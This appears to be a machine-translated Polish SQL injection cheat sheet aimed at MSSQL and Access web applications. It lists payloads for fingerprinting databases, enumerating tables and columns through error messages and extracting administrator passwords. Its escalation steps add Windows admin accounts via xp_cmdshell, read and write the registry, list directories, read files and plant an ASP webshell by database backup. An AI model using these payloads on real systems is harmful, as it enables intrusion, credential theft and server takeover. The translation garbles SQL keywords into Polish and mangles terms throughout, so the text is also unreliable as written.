1. Określić, czy dochodzi do zastrzyku ; oraz 1=1 ; oraz 1=2
2. Wstępna ocena, czy jest to mssql ; oraz user>0
3. Ocenić system baz danych ; oraz (wybierz count(*) z sysobjects)>0 mssql ; oraz (wybierz count(*) z msysobjects)>0 dostępu
4. Parametr wstrzyknięcia to znak 'and [kryteria zapytania] oraz ''='
5. Podczas wyszukiwania nie ma filtrowanych parametrów 'and [kryteria zapytania] oraz '%25'='
6. Zgadnij nazwę stołu ; oraz (wybierz Count(*) z [nazwa tabeli])>0
7. Zgadnij pole ; oraz (wybierz Count(field name) z nazwy tabeli)>0
8. Zgadnij długość rekordu w polu ; oraz (wybierz top 1 len(nazwa pola) z nazwy tabeli)>0
9. (1) Zgaduj wartość ASCII pola (dostęp) ; oraz (wybierz top 1 ASC(mid(nazwa pola, 1,1)) z nazwy tabeli)>0
(2) Zgadnij wartość ASCII pola (mssql) ; oraz (wybierz top 1 unicode(substring(field name,1,1)) z nazwy tabeli)>0
10. Struktura uprawnień testowych (mssql) ; oraz 1=(wybierz IS_SRVROLEMEMBER('sysadmin')); -- ; oraz 1=(wybierz IS_SRVROLEMEMBER('serveradmin')); -- ; oraz 1=(wybierz IS_SRVROLEMEMBER('setupadmin')); -- ; oraz 1=(wybierz IS_SRVROLEMEMBER('securityadmin')); -- ; oraz 1=(wybierz IS_SRVROLEMEMBER('diskadmin')); -- ; oraz 1=(wybierz IS_SRVROLEMEMBER('bulkadmin')); -- ; oraz 1=(wybierz IS_MEMBER('db_owner')); --
11. Dodaj konto dla mssql i systemu ; nazwa użytkownika master.dbo.sp_addlogin wykonawcza; -- ; exec master.dbo.sp_password null, nazwa użytkownika, hasło; -- ; nazwa użytkownika administratora systemu executive master.dbo.sp_addsrvrolemember; -- ; exec master.dbo.xp_cmdshell 'Net User Username, password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'; -- ; exec, master.dbo.xp_cmdshell 'net username, password'; -- ; exec master.dbo.xp_cmdshell 'net localgroup administrators username /add'; --
12. (1) Przejrzyj katalog ; Utwórz tabelę Directors(Paths Varchar(100), ID Int) ; Wstaw dirs exec master.dbo.xp_dirtree 'c:\' ; oraz (wybierz top 1 ścieżek z Dirs)>0 ; oraz (wybierz top 1 ścieżek z kierunków, gdzie ścieżki nie należą do ('ścieżki uzyskane z poprzedniego kroku'))>)
(2) Przemierzanie katalogu ; Create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); -- ; wstaw temp exec master.dbo.xp_availablemedia; -- Pobierz wszystkie napędy prądowe ; wstaw do temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Pobierz listę podkatalogów ; wstaw do temp(id,num1) wynik master.dbo.xp_dirtree 'c:\'; -- Uzyskaj strukturę drzewa katalogów dla wszystkich podkatalogów ; wstaw do temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp'; -- Zobacz zawartość pliku
13. Procedury przechowywane w mssql xp_regenumvalues Klucz root rejestru, klucz potomny ; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' zwraca wszystkie wartości kluczy w wielu zestawach rekordów xp_regread Klucz główny, klucz potomny, nazwa klucz-wartość ; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' zwraca wartość klucza zestawu xp_regwrite Klucz główny, klucz potomny, nazwa wartości, typ wartości, wartość Istnieją dwa typy wartości REG_SZ REG_DWORD dla typów znaków oraz dla liczb całkowitych ; exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName', 'reg_sz', 'hello' do rejestru xp_regdeletevalue Klucz główny, podklucz, nazwa wartości exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName' w celu usunięcia wartości xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey', aby usunąć klucz, w tym wszystkie wartości pod tym kluczem
14. Kopia zapasowa mssql tworzy webshell Model użycia create table cmd (str image); wstaw do wartości cmd(str) ('<% Dim oScript %>'); model bazy zapasowej na dysk='c:\l.asp';
15. Funkcje wbudowane MSSQL ; oraz (wybierz @@version)>0, aby uzyskać numer wersji Windows ; oraz user_name()='dbo', aby określić, czy podłączony użytkownik obecnego systemu jest SA ; oraz (wybierz user_name()>0 Zniszczył podłączonych użytkowników obecnego systemu ; oraz (wybierz db_name()>0, aby uzyskać aktualnie połączoną bazę danych
Naruszenie ręcznie anotyzowanej bazy danych MSSQL
1. Udostępnij aktualną nazwę tabeli i kolumny Wpisz "'having 1=1--" po punkcie wstrzyknięcia, aby otrzymać komunikat zwrotny po angielsku, w którym zobaczysz nazwę tabeli i kolumny. Wyślij "group by the list name having 1=1--", aby otrzymać inną nazwę kolumny; Kontynuuj grupowanie według listy nazwy odsłoniętej tabeli, nazwy odsłoniętej tabeli. Druga nazwa kolumny ma 1=1--", co daje kolejną nazwę kolumny. Commituj w ten sam sposób, aż strona przestanie zwracać komunikaty o błędach, aby uzyskać wszystkie nazwy kolumn. Ciekawostki: Nazwy tabel i kolumn typu violent są używane w połączeniu z GROUP BY w instrukcjach SQL do dokonywania ocen warunkowych. Ponieważ instrukcja jest niekompletna, baza danych zwraca komunikat o błędzie i wyświetla nazwę tabeli oraz nazwę kolumny. Podstawowa metoda może wyświetlić tylko aktualną tabelę w bazie danych, a jeśli tabela zawiera wiele nazw kolumn, bardzo trudno jest użyć podstawowej metody.
Po pierwsze. Wszystkie nazwy baz danych są ujawnione Użyj polecenia "and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])", aby wyświetlić dowolne nazwy tabel i kolumn w bazie danych, gdzie "[N]" oznacza N-tą tabelę w bazie. Krok 1: Po wstrzyknięciu punktu złóż następujące oświadczenie: "and 0<>(select count(*) z master.dbo.sysdatabases gdzie nazwa>1 i dbid=12)", ponieważ wartość dbid to od 1 do 5, co jest używane przez system, więc użytkownik musiał ją zbudować z 6, a my przesłaliśmy nazwę>1, pole nazwy jest polem typu znaku, a porównanie liczb będzie błędne, więc po przesłaniu IE zwróci następujące informacje: "Microsoft OLE DB Provider for ODBC Drivers error ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server] konwertuje wartość nvarchar 'Northwind' na typ danych int felieton. W ten sposób wartość pola nazwy zostaje ujawniona, czyli otrzymujemy nazwę bazy danych "Northwind". Zmiana wartości "dbid" pozwala uzyskać wszystkie nazwy baz danych.
oraz 0<>(wybierz count(*) z master.dbo.sysdatabases, gdzie nazwa>1 i dbid=[N])-- Zmodyfikuj N, aby usunąć wszystkie nazwy baz danych z 6
Po drugie. Udostępnij wszystkie nazwy tabel w określonej bazie danych Po uzyskaniu nazwy bazy danych, musisz pobrać wszystkie nazwy tabel w bibliotece, przesłać następujące zdanie: "and 0<>(wybierz top 1 name z master.dbo.sysobjects where xtype='U')", tutaj jest nazwa tabeli w głównej bazie danych, a polecenie SQL zapytania zwraca wartość nazwy, a następnie porównaj ją z liczbą 0, aby wartość nazwy była ujawniona. Po złożeniu odsłoniętego stołu nazwa "'spt_monito została ujawniona. Następnie inne tabele są eksponowane, a następującą instatacją wysyłane jest następujące zdanie: "and 0<>(wybierz pierwszą nazwę z master.dbo.sysobjects, gdzie xtype='U' i nazwa nie in('spt_monito'))", a następnie inna tabela o nazwie "cd512" jest eksponowana. Plik "and name not in(' spt_monito',' CD512',..))" Możesz poznać nazwy wszystkich stołów.
oraz 0<>(wybierz nazwę z górnej 1 z [określ nazwę bazy danych].dbo.sysobjects gdzie xtype='U')-- oraz 0<>(wybierz pierwszą nazwę z [określ nazwę bazy danych].dbo.sysobjects gdzie xtype='U' i nazwa nie ma w ('[Nazwa tabeli]')-- oraz 0<>(wybierz pierwszą nazwę z [określ nazwę bazy danych].dbo.sysobjects gdzie xtype='U' i nazwa nie ma w ('[Explosive table name]', '[Exploded second table name]')))--
4. Udostępnij wszystkie nazwy kolumn w określonej tabeli oraz 0<>(wybierz count(*) z bbs.dbo.sysobjects gdzie xtype='U' oraz name='admin' oraz uid>(str(id))) Przekonwertuj wartość ID na typ znaku, a następnie porównaj ją z wartością całkowitą. Numer ID już nie znam. Wartość to: 949578421 nazwa='nazwa tabeli'
oraz 0<>(wybierz pierwszą nazwę z wutong.dbo.syscolumns, gdzie id=949578421)-- Nazwa pola w tabeli administracyjnej jest ujawniona
Ponownie wyślij i 0<>(wybierz top 1 imię z wutong.dbo.syscolumns, gdzie id=949578421 i imię nie ma w ('adduser')))-- Plik "and name not in(' spt_monito',' CD512',..))" Wszystkie nazwy pól znajdziesz w tabeli administracyjnej.
oraz 0<>(wybierz count(*) z [określ nazwę bazy danych].dbo.sysobjects gdzie xtype='U' i name='[Nazwa tabeli pola do wybuchu]' oraz uid>(str(id)))--Wartość ID nazwy tabeli pola do eksplodacji
oraz 0<>(wybierz pierwszą nazwę z [określ nazwę bazy danych].dbo.syscolumns, gdzie id=wartość wybuchniętego ID)-- Nazwa pola w tabeli wartości eksplodującego id
oraz 0<>(wybierz pierwszą nazwę z [określ nazwę bazy danych].dbo.syscolumns, gdzie id=Wartość ID wybuchu, a nazwa nie w('[Nazwa pola]'))--
5. Odczytać dane w podanej tabeli
oraz 0<(wybierz A_ID z wutong.dbo.admin, gdzie A_UserID>1) — treści, które złamały A_PWD
oraz 0<(wybierz [pole istniejące] z [określ nazwę bazy danych].dbo.[nazwa tabeli do zapytania] gdzie [nazwa pola do wybuchowej zawartości]>1)--
oraz 0<(wybierz A_ID z wutong.dbo.admin, gdzie A_PWD>1 i A_UserID='admin') — hasło administratora zostaje ujawnione
oraz 0<(Wybierz Top 1 A_UserID OD administratora, gdzie A_ID<>1)-- Nazwa administratora id<>1 (fuhao)
oraz 0<(Wybierz Top 1 A_UserID OD administratora, gdzie A_ID <>1 i A_UserID <> 'fuhao')-- Imię drugiego administratora nie <> równe (tuiguang)
oraz 0<(Wybierz Top 1 A_UserID OD administratora, gdzie A_ID <>1 i A_UserID <> 'fuhao' i A_UserID <> 'tuiguang')--
Po poznaniu nazwy tabeli i nazwy kolumny bazy danych, możesz użyć "query command" do odczytania dowolnych informacji w bazie. Na przykład, jeśli chcesz odczytać N-te dane w kolumnie tabeli, możesz przesłać stwierdzenie: "and (Wybierz nazwę kolumny z nazwy tabeli z górnej 1 nazwy, gdzie id=[N])>1" ([N] oznacza N-te dane w kolumnie), a żądane dane możesz poznać na podstawie informacji zwracanych przez IE.
|